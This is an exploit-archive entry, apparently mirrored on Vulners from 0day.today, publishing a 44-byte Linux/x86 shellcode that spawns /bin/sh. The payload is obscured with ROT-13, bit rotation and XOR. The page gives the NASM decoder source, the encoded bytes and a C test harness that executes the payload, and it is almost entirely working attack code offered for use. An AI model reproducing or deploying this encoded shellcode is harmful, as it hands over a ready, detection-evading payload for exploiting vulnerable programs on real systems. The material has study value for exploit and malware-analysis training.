Lucene search
K

Linux/x86 execve /bin/sh Encoded Shellcode (44 bytes)

🗓️ 25 Apr 2018 00:00:00Reported by Nuno FreitasType 
zdt
 zdt
🔗 0day.today👁 33 Views

Linux/x86 Execve /bin/sh Encoded Shellcod

Code
/*
; Title     : Execve /bin/sh Shellcode encoded with ROT-13 + RShift-2 + XOR
; Date      : April, 2018
; Author    : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-shellcode-encoder/
; Twitter   : @nunof11
; SLAE ID   : SLAE-1112
; Size      : 44 bytes
; Tested on : i686 GNU/Linux
 
NASM:
 
section .text
 
global _start
 
_start:
  jmp short call_decoder
 
decoder:
  pop esi ; pop the Shellcode address from the Stack
  xor ecx, ecx
  mov cl, shellcodelen ; Set the loop counter to shellcodelen
   
decode:
  rol byte [esi], 0x2 ; Left Shift 2 
  xor byte [esi], cl  ; XOR the byte with the ecx (counter)
  sub byte [esi], 13  ; Undo ROT13
 
  inc esi ; increment the offset (iterate over the bytes)
  loop decode ; loop while zero flag not set
 
  jmp short Shellcode
 
call_decoder:
  call decoder ; Shellcode address will be pushed into the Stack
  Shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
  shellcodelen  equ  $-Shellcode
 
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char shellcode[] = \
"\xeb\x12\x5e\x31\xc9\xb1\x13\xc0\x06\x02\x30\x0e\x80\x2e\x0d\x46\xe2\xf5\xeb\x05\xe8\xe9\xff\xff\xff\x4b\xf7\x13\x59\xcc\x8c\x63\x5e\x9f\x8d\x99\x9f\x1f\xa4\x3b\x6e\xc6\x36\x23";
 
void main()
{
    printf("Shellcode Length:  %d\n", strlen(shellcode));
     
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation